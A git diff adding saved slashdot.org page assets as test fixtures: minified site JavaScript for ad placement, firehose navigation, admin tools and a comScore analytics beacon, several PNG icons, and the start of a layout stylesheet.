+function inlineAdVisibles(){var visible=new Bounds(window),$visible_ads=$('li.inlinead').filter(function(){if(Bounds.intersect(visible,this))return this;});return $visible_ads.length;}
+function inlineAdCheckTimer(id,url,clickMax,secsMax){if(!url||!id)
+return 0;if(adTimerSeen[id]&&adTimerSeen[id]==2)
+return 0;if(clickMax>0&&!adTimerSeen[id])
+inlineAdClick(id);var ad=0;if(clickMax>0&&adTimerClicks>=clickMax)
+ad=1;else{var secs=getSeconds()-adTimerSecs;if(secs>=secsMax)
+ad=1;}
+if(!ad)
+return 0;return inlineAdInsertId(id);}
+function inlineAdFirehose($article,show_on_article_regardless_of_visibility){var Fh=Slash.Firehose,Ad=Fh.floating_slashbox_ad,is_combined=Ad.combined_mode();if(!fh_adTimerUrl)
+return 0;if($article){if(!show_on_article_regardless_of_visibility)
+$article=Fh.ready_ad_space($article);}else{$article=Fh.choose_article_for_next_ad();}
+if(!$article||!$article.length)
+return 0;var id=fhitem_key($article).key;if(!id)
+return 0;var old_id=inlineAdInsertId();if(!inlineAdCheckTimer(id,fh_adTimerUrl,fh_adTimerClicksMax,fh_adTimerSecsMax))
+return 0;if(!is_combined&&Ad.is_visible())
+return 0;var $list=$article.find('[context=system]'),topic=$list.find('.t2:not(.s1):first .tag').text(),skin=$list.find('.s1:first .tag').text(),adUrl=fh_adTimerUrl
++'?skin='+(skin?'pg_sect_index':'pg_index')
++(topic?'&topic='+topic:'')
++'&pos=84&cat=medrec',height=is_combined?250:300,ad_content='<iframe class="advertisement" src="'+adUrl+'" height="'+height+'" width="300" frameborder="0" border="0" scrolling="no" marginwidth="0" marginheight="0"></iframe>';Ad($article,ad_content);inlineAdReset(id);if(old_id)
+adTimerSeen[old_id]=0;return id;};(function($){var AD_HEIGHT=300,COMBINED_MODE=false,generation=0,$ad_position=$([]),ad_target_article=null,$ad_offset_parent,$slashboxes,is_ad_locked=false;$(function(){$slashboxes=$('#slashboxes, #userboxes').eq(0);$slashboxes.length&&$('#slug-Top,#slug-Bottom').show();$(document).bind('firehose-setting-noslashboxes',fix_ad_position);$any('firehoselist').bind('articlesMoved',fix_ad_position).bind('beforeArticleRemoved',notice_article_removed);});function [...]
+function remove_ad(){ad_target_article=null;if(is_ad_locked){return false;}
+$ad_position.remove();$ad_position=$([]);return true;}
+function insert_ad($article,ad){if(!ad||!$article||$article.length!=1||!remove_ad()){return;}
+++generation;ad=ad.replace(/&pos=84&/,'&pos=84&gen='+generation+'&');ad_target_article=$article[0];$ad_position=$article.before('<div id="floating-slashbox-ad" class="Empty" />').prev().append(ad);setTimeout(function(){is_ad_locked=false;if(!ad_target_article){remove_ad();}},10000);is_ad_locked=true;if(!$ad_offset_parent){$ad_offset_parent=$article.offsetParent();}
+fix_ad_position();$ad_position.filter(':not(.Empty)').fadeIn('fast');}
+function verticalAdSpace(){var bounds=Bounds.y('#slug-Bottom');bounds.top=Position('#slug-Top').top;return bounds;}
+function pin_ad(){var new_top='';$('#slug-'+($ad_position.is('.Crown')?'Crown':$ad_position.attr('className'))).each(function(){new_top=Position(this).top-Position($ad_offset_parent).top;});$ad_position.css('top',new_top);}
+var NO_SPACE=0,NOT_PINNED=2,pinClasses=['Empty','Top','No','Bottom'];function should_crown(){var answer=false;COMBINED_MODE&&$('#slug-Crown:visible').each(function(){answer=Bounds.intersect(window,this);});return answer;}
+function scroll_crown(){var now_crown=should_crown();if(now_crown!==$ad_position.is('.Crown')){$ad_position.toggleClass('Crown',now_crown);pin_ad();}}
+function fix_ad_position(){if($ad_position.length){var space=verticalAdSpace();if(!TypeOf.number(space.top)||!TypeOf.number(space.bottom)){return;}
+space.bottom-=AD_HEIGHT;var natural_top=Position($ad_position.next()).top;if(natural_top===undefined){natural_top=Bounds($ad_position.prev()).bottom;}
+var pinning=$slashboxes.is(':visible')&&between(space.top,natural_top,space.bottom)+NOT_PINNED||NO_SPACE,now_empty=pinning===NO_SPACE,now_crown=!now_empty&&should_crown(),was_empty=$ad_position.is('.Empty');if(!(was_empty&&now_empty)){$ad_position.setClass(pinClasses[pinning]+(now_crown?' Crown':''));pin_ad();}}}
+function ad_message(e){var match=/^p(.+):height=(\d+)$/.exec(e.data);if(match&&match[1]==='84'){$ad_position.children('iframe:first').attr('height',match[2]);}}
+function combined_mode(enable){if(enable!==void(0)&&enable!=COMBINED_MODE){COMBINED_MODE=!COMBINED_MODE;$('#slug-Crown').toggle(COMBINED_MODE);$('#slug-Bottom, div.slug .content').css('height',AD_HEIGHT=COMBINED_MODE?250:300);$(window)[COMBINED_MODE?'bind':'unbind']('scroll',scroll_crown);fix_ad_position();}
+return COMBINED_MODE;}
+(function(){var M=Slash.Firehose.floating_slashbox_ad=insert_ad;M.is_visible=function(){return Bounds.intersect(window,$ad_position);};M.remove=remove_ad;M.combined_mode=combined_mode;M.fix_ad_position=fix_ad_position;})();Slash.Firehose.articles_on_screen=function(){var visible=Bounds.y(window),lo,hi=0;var $articles=$('#firehoselist>article.fhitem:visible').
+each(function(){var $this=$(this),this_top=$this.offset().top;if(this_top>=visible.bottom){return false;}
+if(lo===undefined){var this_bottom=this_top+$this.height();if(this_bottom>visible.top){lo=hi;}
+if(this_bottom>=visible.bottom){++hi;return false;}}
+++hi;});if(lo===undefined){return $([]);}else if(lo===0&&hi==$articles.length){return $articles;}else{return $(Array.prototype.slice.call($articles,lo,hi));}}
+Slash.Firehose.ready_ad_space=function($articles){var $result=$([]);try{if(!is_ad_locked&&$slashboxes.is(':visible')){if(COMBINED_MODE){return $articles;}
+var visible=Bounds.intersection(Bounds.y(window),verticalAdSpace());visible.bottom-=AD_HEIGHT;$result=$articles.filter(function(){return Bounds.contain(visible,Position(this));});}}catch(e){}
+return $result;}
+Slash.Firehose.choose_article_for_next_ad=function(){var Fh=Slash.Firehose,$articles=Fh.ready_ad_space(Fh.articles_on_screen());return $articles.eq(Math.floor(Math.random()*$articles.length));}})(Slash.jQuery);$(function(){var validkeys={};if(!firehose_smallscreen&&$('div.fhroot').length&&!$('ul#commentlisting').length){validkeys={'X':{tags:1,signoff:1,noanon:1},'T':{tags:1,tag:1,noanon:1},187:{chr:'+',tags:1,tag:1,noanon:1,nod:1},189:{chr:'-',tags:1,tag:1,noanon:1,nix:1},'R':{open:1,rea [...]
+$(document).keydown(function(e){if(e.ctrlKey||e.metaKey||e.altKey)
+return true;var shiftKey=e.shiftKey?1:0;var c=e.which;var key=validkeys[c]?c:String.fromCharCode(c);var keyo=validkeys[key];if(!keyo)
+return true;var is_input=e.target&&$(e.target).is(':input');if(!keyo.form&&is_input)
+return true;if(keyo.form&&!is_input)
+return true;if(keyo.noanon&&!check_logged_in())
+return false;if(keyo.admin&&!fh_is_admin)
+return true;var cur=firehose_get_cur();var el,id;if(cur.length){el=cur[0];id=el.id.replace(FHID_PREFIX,'');}
+if(keyo.tag&&el){firehose_toggle_tag_ui_to(true,el);if(keyo.nod){Tags.submit(el,'nod')}
+if(keyo.nix){Tags.submit(el,'nix')}}
+if(keyo.signoff&&el&&tag_admin){Tags.submit(el,'signoff');firehose_go_next($(el));}
+if(keyo.slash){firehose_set_options('section',$any('links-sections-title').metadata().id);}
+if(keyo.unfocus){$(e.target).blur()}
+if(keyo.next){firehose_go_next()}
+if(keyo.prev){firehose_go_prev()}
+if(keyo.more){firehose_more()}
+if(keyo.search){view($any('searchquery'),{hint:$('body'),focus:true});}
+if(keyo.toggle&&id){toggle_firehose_body(el)}
+if(keyo.open){var mylink='';var obj;if(keyo.link){obj=cur.find('span.external > a:first');}
+if(keyo.readmore){obj=cur.find('a.datitle:first');}
+if(keyo.edit){obj=cur.find('form.edit > a:first');}
+if(!mylink.length&&obj.length){mylink=obj[0].href;}
+if(mylink.length){return openInWindow(mylink,(shiftKey?1:0));}else{return true;}}
+return false;});});function fh_pag_update(){try{var pag_controls=$('#pagination-controls>li>a');var old_pag=$('#fh-paginate>span>a');var old_more=$('#more-experiment>a');var old_more_span=$('#more-experiment>a>span');var fh_count=pag_controls.eq(1);if(fh_count.length){fh_count.html(old_more_span.html());fh_count.attr('href',old_more.attr('href'));fh_count.get(0).onclick=old_more.get(0).onclick;old_more.hide();pag_controls.eq(0).html(old_pag.eq(0).html());pag_controls.eq(0).attr('href',ol [...]
+$(document).ready(function(){$(".editor-staff-favorite").click(function(){var scheck=this,cid=$(this).attr('id');ajax_update({op:'set_editor_fav',id:$(this).attr("id")},'',{onComplete:function(){$(".editor-staff-favorite").removeClass("selected");$("#"+cid).addClass('selected');}});});});;function configSectionPopup(){var title="<a href=\"#\" onclick=\"window.location.reload()\" style=\"color:#fff;\">Sectional Display Prefs</a> ";var buttons=createPopupButtons("<a href=\"# [...]
+function masterChange(el){swapClassColors('secpref_master','secpref_nexus_row');updateNexusAllTidPrefs(el);}
+function individualChange(el){swapClassColors('secpref_nexus_row','secpref_master');}
+function postSectionPrefChanges(el){var params={};params['op']='setSectionNexusPrefs';params[el.name]=el.value;$('#sectionprefs-message').text('Saving...');var url='ajax.pl';ajax_update(params,'sectionprefs-message');}
+function swapClassColors(class_name_active,class_name_deactive){$('tr').filter('.'+class_name_active).css({color:'#000',background:'#fff'}).end().filter('.'+class_name_deactive).css({color:'#999',background:'#ccc'});}
+function updateNexusAllTidPrefs(el){var v=el.value;$('form#modal_prefs [name^=nexustid]').each(function(){this.checked=(this.value==v);});}
+function reportError(request){alert("error");};;function um_ajax(the_behaviors,the_events){ajax_update({op:'um_ajax',behaviors:the_behaviors,events:the_events},'links-vendors-content');}
+function um_fetch_settings(){ajax_update({op:'um_fetch_settings'},'links-vendors-content');}
+function um_set_settings(behavior){ajax_update({op:'um_set_settings',behavior:behavior},'links-vendors-content');}
+function storyInfo(selector_fragment){var $where,$item=$('[data-fhid='+selector_fragment+']');var $W=$item.find('div.tag-widget.body-widget:first');$where=$related_trigger.
+add($W.find('.edit-toggle')).
+add($item.find('#updown-'+selector_fragment));var popup_id="storyinfo-"+selector_fragment;var popup=createPopup($where,'Story Info '+createPopupButtons('<a class="fright ico close" href="#" onclick="closePopup('+"'"+popup_id+"-popup'"+'); return false">[X]</a></span><span><a class="fright help ico ui-icon-help" href="#" onclick="return false">[?]</a>'),popup_id);$(popup).draggable();ajax_update({op:'admin_signoffbox',stoid:fhitem_info($item,'stoid')},popup_id+'-contents');}
+function tagsHistory(selector_fragment,context){var $where,$item=$('[data-fhid='+selector_fragment+']');if(context=='firehose'){var $W=$item.find('div.tag-widget.body-widget:first');$where=$W.find('.history-button').
+add($related_trigger).
+add($W.find('.edit-toggle')).
+add($item.find('#updown-'+selector_fragment));}else{$where=$any('taghist-'+selector_fragment);}
+var popup_id="taghistory-"+selector_fragment;var popup=createPopup($where,'<h1>History</h1> '+createPopupButtons('<a class="fright ico close" href="#" onclick="closePopup('+"'"+popup_id+"-popup'"+'); return false">[X]</a></span><span><a class="fright help ico ui-icon-help" href="#" onclick="return false">[?]</a>'),popup_id);$(popup).draggable({handle:'h1'}).addClass('popup-tag-history');var item_key=fhitem_key($item);ajax_update({op:'tags_history',type:fhitem_info($item,'type'),key:item [...]
+function signoff($fhitem,id){$.ajax({type:'POST',dataType:'text',data:{op:'admin_signoff',stoid:fhitem_info($fhitem,'stoid'),reskey:reskey_static,limit_fetch:''},success:function(server_response){$fhitem.find('a.signoff-button').remove();}});firehose_collapse_entry(id||$fhitem.attr('data-fhid'));}
+$('a.signoff-button').live('click',function(e){signoff($(e.originalEvent.target).closest('.fhitem'));});function firehose_handle_admin_commands(commands){var entry=this,$entry=$(entry),id=$entry.attr('data-fhid');return $.map(commands,function(cmd){var user_cmd=null;switch(cmd){case'extras':firehose_get_admin_extras(id);break;case'taghistory':tagsHistory(id,'firehose');break;case'info':storyInfo(id);break;case'neverdisplay':if(confirm("Set story to neverdisplay?")){user_cmd=cmd;$.ajax({t [...]
+break;case'signed':case'signoff':case'unsigned':signoff($entry,id);break;case'betaedit':show_submit_box_after(id);break;case'oldedit':var loc=document.location+'';var match=loc.match('https?://[^/]*');openInWindow(match+'/firehose.pl?op=edit&id='+id);break;break;case'binspam':if($entry.is('.fhitem-feed'))
+break;case'hold':firehose_collapse_entry(id);default:user_cmd=cmd;break;}
+return user_cmd;});}
+function admin_neverdisplay(stoid,type,fhid){if(confirm("Set story to neverdisplay?")){ajax_update({op:'admin_neverdisplay',reskey:reskey_static,stoid:stoid,fhid:fhid},'nvd-'+stoid);if(type=="firehose"){firehose_remove_entry(fhid);}}}
+function admin_submit_memory(fhid){ajax_update({op:'admin_submit_memory',reskey:reskey_static,submatch:$('#submatch-'+fhid).val(),subnote:$('#subnote-'+fhid).val(),penalty:$('#penalty-'+fhid).val()},'sub_mem_message-'+fhid);}
+function admin_remove_memory(noid){$('#submem-'+noid).hide();ajax_update({op:'admin_remove_memory',reskey:reskey_static,noid:noid});}
+function remarks_create(){var params={op:'remarks_create',reskey:$('#remarks_reskey').val(),remark:$('#remarks_new').val()};if(!params.remark||!params.reskey){return;}
+var limit=$('#remarks_max').val();limit&&(params.limit=limit);ajax_update(params,'remarks_whole');}
+function remarks_fetch(secs,limit){var params={};params.op='remarks_fetch';params.limit=limit;ajax_periodic_update(secs,params,'remarks_table');}
+function remarks_popup(){var params={};params.op='remarks_config';var title="Remarks Config ";var buttons=createPopupButtons('<a href="#" onclick="closePopup(\'remarksconfig-popup\', 1); return false">[X]</a>');title=title+buttons;createPopup('remarks_table',title+buttons,'remarksconfig');ajax_update(params,'remarksconfig-contents');}
+function remarks_config_save(){var params={op:'remarks_config_save',reskey:$('#remarks_reskey').val()};if(!params.reskey){return;}
+var optional_params={min_priority:$('#remarks_min_priority').val(),limit:$('#remarks_limit').val(),filter:$('#remarks_filter').val()};$.each(optional_params,function(k,v){v&&(params[k]=v);});$('#remarksconfig-message').text('Saving...');ajax_update(params,'remarksconfig-message');}
+function admin_slashdbox_fetch(secs){ajax_periodic_update(secs,{op:'admin_slashdbox'},"slashdbox-content");}
+function admin_perfbox_fetch(secs){ajax_periodic_update(secs,{op:'admin_perfbox'},"performancebox-content");}
+function admin_authorbox_fetch(secs){ajax_periodic_update(secs,{op:'admin_authorbox'},"authoractivity-content");}
+function admin_storyadminbox_fetch(secs){ajax_periodic_update(secs,{op:'admin_storyadminbox'},"storyadmin-content");}
+function admin_recenttagnamesbox_fetch(secs){ajax_periodic_update(secs,{op:'admin_recenttagnamesbox'},"recenttagnames-content");}
+function console_update(use_fh_interval,require_fh_timeout){use_fh_interval=use_fh_interval||0;if(require_fh_timeout&&!fh_is_timed_out){return;}
+ajax_update({op:'console_update'},'',{onComplete:json_handler});var interval=30000;if(use_fh_interval){interval=getFirehoseUpdateInterval();}
+setTimeout(function(){console_update(use_fh_interval,fh_is_timed_out);},interval*2);}
+function firehose_usage(){var interval=300000;ajax_update({op:'firehose_usage'},'firehose_usage-content');setTimeout(firehose_usage,interval);}
+function make_spelling_correction(misspelled_word,form_element){var selected_key="select_"+form_element+'_'+misspelled_word;var selected_index=document.forms.slashstoryform.elements[selected_key].selectedIndex;if(selected_index===0){return(0);}
+if(selected_index>=1){if(selected_index===1){var params={};params.op='admin_learnword';params.word=misspelled_word;ajax_update(params);}else{var pattern=misspelled_word+"(?![^<]*>)";var re=new RegExp(pattern,"g");var correction=document.forms.slashstoryform.elements[selected_key].value;document.forms.slashstoryform.elements[form_element].value=document.forms.slashstoryform.elements[form_element].value.replace(re,correction);}
+var corrected_id=misspelled_word+'_'+form_element+'_correction';$('#'+corrected_id).remove();}
+var correction_parent="spellcheck_"+form_element;if($('#'+correction_parent).children().children().length===1){$('#'+correction_parent).remove();}}
+function firehose_reject(el){ajax_update({op:'firehose_reject',id:el.value,reskey:reskey_static},'reject_'+el.value);firehose_remove_entry(el.value);}
+function firehose_init_note_flags(limit){var $items=$('article.fhitem:not(:has(>h2>span.note-flag))');limit&&($items=$items.filter(':lt('+limit+')'));return $items.each(function(){var $item=$(this),$flag_parent=$item.find('>h2:first'),$note=$item.find('.note-wrapper'),has_note=$note.length&&!$note.is('.no-note'),text=has_note?$.trim($note.find('.admin-note a').text()):'';$('<span class="note-flag">note</a>').prependTo($flag_parent).attr('title',text).toggleClass('no-note',!has_note).clic [...]
+function firehose_open_note(o){$(this).find('.note-wrapper').children('adminnote').removeClass('hide').focus();}
+function firehose_save_note(id){var $entry=$('#firehose-'+id);var note_text=$.trim($entry.find('#note-input-'+id).val());$entry.find('.note-flag, .note-wrapper').toggleClass('no-note',!note_text).filter('.note-flag').attr('title',note_text);ajax_update({op:'firehose_save_note',note:note_text,id:id});$entry.find('#note-form-'+id).addClass('hide');$entry.find('#note-text-'+id).text(note_text||'Note').removeClass('hide');return $entry;}
+function firehose_get_admin_extras(id){ajax_update({op:'firehose_get_admin_extras',id:id},'',{onComplete:function(transport){json_handler(transport);view('firehose-'+id);}});}
+function firehose_get_and_post(id){ajax_update({op:'firehose_get_form',id:id},'postform-'+id,{onComplete:function(){$('#postform-'+id).submit();}});}
+function appendToBodytext(text){$('#admin-bodytext').each(function(){this.className="show";this.value+=text;});}
+function appendToMedia(text){$('#admin-media').each(function(){this.className="show";this.value+=text;});}
+function microbin_del_page(){var tag_map={'bin-fragment-1':'','bin-fragment-2':'follow','bin-fragment-3':'rss'};$('.microbin-tab').not('.ui-tabs-hide').each(function(){var tag=tag_map[this.id];var min=0;var max=0;$('.microbin:visible tr').each(function(){var match=this.id.match('microbin-([0123456789]+)');if(match[1]){if(!min){min=match[1]}
+if(!max){max=match[1]}
+if(match[1]>max){max=match[1];}
+if(match[1]<min){min=match[1];}}});microbin_mass_del(tag,min,max);});}
+function microbin_del_tag_all(){var tag_map={'bin-fragment-1':'','bin-fragment-2':'follow','bin-fragment-3':'rss'};$('.microbin-tab').not('.ui-tabs-hide').each(function(){var tag=tag_map[this.id];microbin_mass_del(tag);});}
+function microbin_mass_del(tag,min,max){var params={};params['tag']=tag;params['min']=min;params['max']=max;params['op']='microbin_mass_del';ajax_update(params,'',{onComplete:function(){microbin_clear();microbin_refresh();}});}
+function microbin_del(id){ajax_update({op:'microbin_del',id:id,reskey:reskey_static});$('#microbin-'+id).fadeOut().remove;}
+function microbin_tosub(id){ajax_update({op:'microbin_tosub',id:id,reskey:reskey_static});$('#microbin-'+id).fadeOut().remove;}
+function microbin_clear(){$('.microbin .tr').fadeOut('slow').remove();}
+function microbin_refresh(pane){var params={};var tag_map={'bin-fragment-1':'','bin-fragment-2':'follow','bin-fragment-3':'rss'};if(pane){params['tag']=tag_map[pane];}else{$('.microbin-tab').not('.ui-tabs-hide').each(function(){params['tag']=tag_map[this.id];});}
+params['op']='microbin_fetch';if($('#slashboxes .microbin').length>0){params['type']='narrow';}
+ajax_update(params,'',{onComplete:json_handler});}
+$(function(){if($.browser.safari||$.browser.opera){$('.edit a').css('margin-top','0pt');}});;(function($){var IS_SHOWN={};window.Falk||(window.Falk={is_shown:function(adPos){return IS_SHOWN[adPos];},show:function(adPos,enable){enable=enable===void(0)||!!enable;if(enable!=IS_SHOWN[adPos]){IS_SHOWN[adPos]=enable;$(document).trigger('falk',[adPos,enable]);}}});})(jQuery);$(document).ready(function(){$('h3#a2ns span.click,#a2footer .fadeout').click(function(e){window.location=$("#hrefns").at [...]
+$('.comment_share_toggle').live('click',function(e){$(this).next().toggleClass('hide');return false;});$('#faq div').hide();$('#faq h1').after('<p><span class="expand ui-icon faqtoggle off link">Expand All</span></p>');$('#faq h2, #faq h3').addClass('link');$('#faq h2').bind('click',function(){if($(this).next('div').is(':hidden')){$(this).next('div').show();$(this).removeClass('link');}else{$(this).next('div').hide();$(this).addClass('link');}});$('#faq h3').bind('click',function(){if($( [...]
+.hover(function(){$(this).addClass("ui-state-hover");},function(){$(this).removeClass("ui-state-hover");})
+.mousedown(function(){$(this).parents('.fg-buttonset-single:first').find(".ui-icon.ui-state-active").removeClass("ui-state-active");if($(this).is('.ui-state-active.fg-button-toggleable, .fg-buttonset-multi .ui-state-active')){$(this).removeClass("ui-state-active");}else{$(this).addClass("ui-state-active");}})
+.mouseup(function(){if(!$(this).parent().is('.fg-buttonset-single , .fg-buttonset-multi ')||!$(this).is('.fg-button-toggleable')){$(this).removeClass("ui-state-active");}});$('.admin-note a').live('click',function(){$(this).parent().prev().toggleClass('hide');});$(".head .block .content").after("<div class='foot'> </div>");$('input[name="nothumbs"]').each(function(){if($(this).attr('checked','checked')){$('#firehose').addClass('vote_enabled');}else{$('#firehose').removeClass('vote_ [...]
+function adupdate(){$('#modal_box,#embbeded_login_modal').addClass('push');}
+function firehose_toggle_prefs(){if($("#fh_advprefs").is(":hidden")){$("#fh_advprefs").fadeIn('fast');}else{$("#fh_advprefs").fadeOut('fast');}
+return false;}
+if(typeof COMSCORE=="undefined"){var COMSCORE={}}COMSCORE.beacon=function(d){if(!d){return}var a=1.7,e=document,h=e.location,g=512,c=function(i,j){if(i==null){return""}i=(encodeURIComponent||escape)(i);if(j){i=i.substr(0,j)}return i},f=[(h.protocol=="https:"?"https://sb":"http://b"),".scorecardresearch.com/b?","c1=",c(d.c1),"&c2=",c(d.c2),"&rn=",Math.random(),"&c7=",c(h.href,g),"&c3=",c(d.c3),"&c4=",c(d.c4,g),"&c5=",c(d.c5),"&c6=",c(d.c6),"&c10=",c(d.c10),"&c15=",c(d.c15),"&c16=",c(d.c16 [...]
\ No newline at end of file
diff --git a/src/test/resources/s/slashdot.org_files/android_64.png b/src/test/resources/s/slashdot.org_files/android_64.png
new file mode 100644
index 0000000..c2168e4
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/android_64.png differ
diff --git a/src/test/resources/s/slashdot.org_files/business_64.png b/src/test/resources/s/slashdot.org_files/business_64.png
new file mode 100644
index 0000000..bfbb408
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/business_64.png differ
diff --git a/src/test/resources/s/slashdot.org_files/cellphones_64.png b/src/test/resources/s/slashdot.org_files/cellphones_64.png
new file mode 100644
index 0000000..43e5d96
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/cellphones_64.png differ
diff --git a/src/test/resources/s/slashdot.org_files/classic.css b/src/test/resources/s/slashdot.org_files/classic.css
new file mode 100644
index 0000000..be68c56
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/classic.css
@@ -0,0 +1,5532 @@
+
+
+
+
+
+
+.grid_1{width:3.95833333%;}.grid_2{width:8.11666666%;}.grid_3{width:12.27500%;}.grid_4{width:16.4333333%;}.grid_5{width:20.5916666%;}.grid_6{width:24.7499999%;}.grid_7{width:28.9083332%;}.grid_8{width:33.0666665%;}.grid_9{width:37.2249998%;}.grid_10{width:41.3833331%;}.grid_11{width:45.5416664%;}.grid_12{width:49.6999997%;}.grid_13{width:53.858333%;}.grid_14{width:58.0166663%;}.grid_15{width:62.1749996%;}.grid_16{width:66.3333329%;}.grid_17{width:70.4916662%;}.grid_18{width:74.6499995%;} [...]
+/* @ * tinyfluidgrid.com & girlfriendnyc.com */.clear{clear:both;display:block;overflow:hidden;visibility:hidden;width:0;height:0}.clearfix:after{clear:both;content:' ' ;display:block;font-size:0;line-height:0;visibility:hidden;width:0;height:0}* html .clearfix,*:first-child+html .clearfix{zoom:1}
+/* reset - silon */* { outline: none;vertical-align: baseline;font-family: inherit;font-style: inherit;font-size: 100%;padding: 0; margin: 0; }h1, h2, h3, h4, h5, h6, p, pre, blockquote, ul, ol, dl { margin: 10px 0;font-weight:normal;} ul, ol, li, blockquote { margin-left: 10px; } dd { margin-left: 20px; }dt { border-color: #cccccc; border-style: solid;border-width: 0 0 1px;}table { width: 100%; margin-bottom: 1.4em; border-collapse: separate; border-spacing: 0; }td, th { tex [...]
+
+/* ' */ /* (fixes Vim syntax highlighting) */
+
+body{ background:rgb(204,204,204); padding: 12px 1em 0; }
+
+section h1 {margin-bottom: 20px; font: normal 24px/1.5;}
+.w180 { width:180px; }
+.w150 { width:150px; }
+.w160 { width:160px; }
+.w140 { width:140px; }
+.w100 { width:100px; }
+.wAuto { width:auto; }
+.o25 {opacity:.25; }
+.o50 {opacity:.5; }
+.o75 {opacity:.75; }
+
+.strike {
+text-decoration: line-through !important;
+}
+
+.inline {
+display:inline !important;
+}
+
+.prel {position:relative; }
+
+button[disabled=disabled],
+input:disabled {
+opacity:.5;
+background: rgb(207,207,207) !important;
+background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(199,199,199)), to(rgb(245,245,245))) !important;
+background-image: -moz-linear-gradient(100% 100% 90deg,rgb(245,245,245), rgb(199,199,199) 100%) !important;
+background-image: -o-linear-gradient(top, rgb(199,199,199),rgb(245,245,245) 100%) !important;
+}
+
+em, i {
+font-style: italic;
+}
+
+samp, tt, code {
+font-family: monospace;
+}
+
+.nobr {
+white-space:nowrap;
+}
+
+.container{
+margin: auto;
+min-width:960px;
+max-width:100%;
+}
+
+.h,
+.h hgroup {
+min-width:935px;
+}
+
+.h hgroup {
+margin: 0 -1px 0 1px;
+}
+
+.col_wrapper {
+ margin:0;
+ padding:0;
+}
+
+.col_1 {
+ float:left;
+ margin:0 0 0 1em;
+ padding:0;
+ clear:both;
+ position: absolute;
+ background:transparent;
+ z-index:10;
+}
+
+.col_1 a {font-weight: normal;}
+.col_1 nav {
+ z-index: 1;
+ background: transparent !important;
+ }
+
+#fix .col_2 .content {height: 10px;}
+.col_2 {
+ min-width: 840px;
+}
+
+.reset {
+padding: 0 !important;
+margin: 0 !important;
+font-size: 1em !important;
+text-decoration: none !important;
+font-weight: normal !important;
+}
+
+#firehose,
+#firehose-mq {
+ display:block;
+ margin-right:316px;
+ margin-left:100px;
+ padding: 0 20px;
+}
+
+#firehose-sb {
+ display:block;
+ margin:0
+ padding:0;
+}
+
+body.edit > section > div.col_2 > #content > #firehose {
+margin-right:0;
+}
+
+body.zoo #slashboxes,
+.noslashboxes #slashboxes {
+display:none;
+}
+
+body.zoo #firehose {
+margin-right:0;
+}
+
+.noslashboxes #firehose,
+.noslashboxes #firehose-mq,
+.noslashboxes #firehose-sb {
+ margin-right:auto;
+}
+
+#local_last_update_time {
+display:block;
+position:absolute;
+right:0.75em;
+top:1.75em;
+z-index:2;
+}
+
+#slashboxes,
+#slashboxes-mq {
+ display:block;
+ padding:0 0 0 20px;
+ overflow:hidden;
+ width:300px;
+ position:relative;
+ z-index:2;
+}
+
+#slashboxes section ul, #slashboxes section ol {margin-left: 0px;}
+#slashboxes section ul ul, #slashboxes section ol ol, #slashboxes section ul ol, #slashboxes section ol ul {margin-left: 10px;}
+
+.col_section {
+ float:left;
+ margin:0;
+ padding:0;
+ width:100px;
+}
+
+.col_firehose {
+ margin-left:100px;
+ margin-right:300px;
+}
+
+.col_slashboxes {
+ float:right;
+ margin:0;
+ padding:0;
+ width:300px;
+}
+
+#slashboxes p {margin: 0; padding: 0 0 10px;}
+#slashboxes fieldset {border: none; padding: 0; margin: 0;}
+#slashboxes legend {display: none;}
+#slashboxes section {padding: 10px 22px; display: block;}
+
+#slashboxes #firehose {
+margin-left:0;
+padding:0;
+}
+
+#local_last_update_time {display:none;}
+
+.briefarticle .thumblink {
+float:right;
+border-radius: 10px;
+-moz-border-radius: 10px;
+-webkit-border-radius: 10px;
+-o-border-radius: 10px;
+border-radius: 10px;
+height:1.6em;
+margin-top:-4px;
+}
+
+.briefarticle a.thumblink:not(.offset) {
+margin-right:-2em;
+}
+
+.article .thumblink {
+display:none;
+}
+
+#editpreview article,#firehose article { position:relative; }
+
+#editpreview address {display:inline;}
+
+article.contain { float:left; }
+
+.contain footer {
+ display:block;
+ height:3em;
+}
+
+.contain footer .btn {
+margin:0 -1em 0 20px;
+}
+
+#u2tabs ul li {
+list-style:none;
+}
+
+#comments li.comment.hidden {
+list-style: none;
+}
+
+#comments li.comment.hidden > .ind,
+#comments li.comment.hidden .current,
+#comments li.comment.hidden > div.cw
+{
+display:none;
+}
+
+body.slashdot-it li.comment.full .details, #comments .details {
+background:none repeat scroll 0 0 #E1E1E1;
+color:#4D4D4D;
+font-size:0.85em;
+line-height:1.2em;
+margin:0;
+padding:6px 20px;
+text-indent:0;
+}
+
+
+
+/* .article-gradient, */
+#slashboxes article header,
+nav[role=sections] li.active,
+#firehose article > aside {
+ position:relative;
+ margin-bottom: 10px;
+}
+
+
+#content:not(.a2) #firehose article.currfh {
+ box-shadow: rgb(185,185,185) 0 1px 15px;
+ -moz-box-shadow: rgb(185,185,185) 0 1px 15px;
+ -webkit-box-shadow: rgb(185,185,185) 0 1px 15px;
+ border-radius: 10px;
+ -moz-border-radius: 10px;
+ -webkit-border-radius: 10px;
+}
+
+#content #firehose #editor article.currfh {
+ box-shadow: none;
+ -moz-box-shadow: none;
+ -webkit-box-shadow: none;
+ border-radius: 0;
+ -moz-border-radius: 0;
+ -webkit-border-radius: 0;
+}
+
+#firehoselist #editor {
+padding:.5em 0 !important;
+width:100%;
+}
+
+#firehose article article header:after,
+#firehose article article header:before {
+ border:0;
+}
+
+#firehose article p a,#firehose-message-tray a {text-decoration: underline; text-shadow:none;}
+
+#firehose article footer {
+ padding:0;
+ display:block;
+ margin:0 20px 10px;
+}
+#firehose article aside p {margin-left: 0;}
+
+.article:not(.fhitem-journal) .body .p {
+margin:20px;
+}
+
+.article .body .p a,
+.commentBody a ,
+.bodytext a {
+text-decoration:underline;
+}
+
+.article .body .p > i {
+border-left: 3px solid rgb(221, 221, 221);
+display: block;
+font-style: normal;
+margin: 0.5em;
+padding-left: 1em;
+}
+
+article footer .edit-toggle {
+float:left;
+cursor:pointer;
+margin-right:.5em;
+}
+
+.fhitem-editor menu div.spinner {
+position:relative;
+}
+
+#more_comments_button {
+ display: inline-block;
+ padding-left: 0;
+ padding-right: 0;
+ width: 100%;
+}
+
+#more_comments_button > a {
+display:block;
+text-decoration:none;
+color:#555;
+}
+
+/*
+.busy-ajax div.busy.genericspinner,
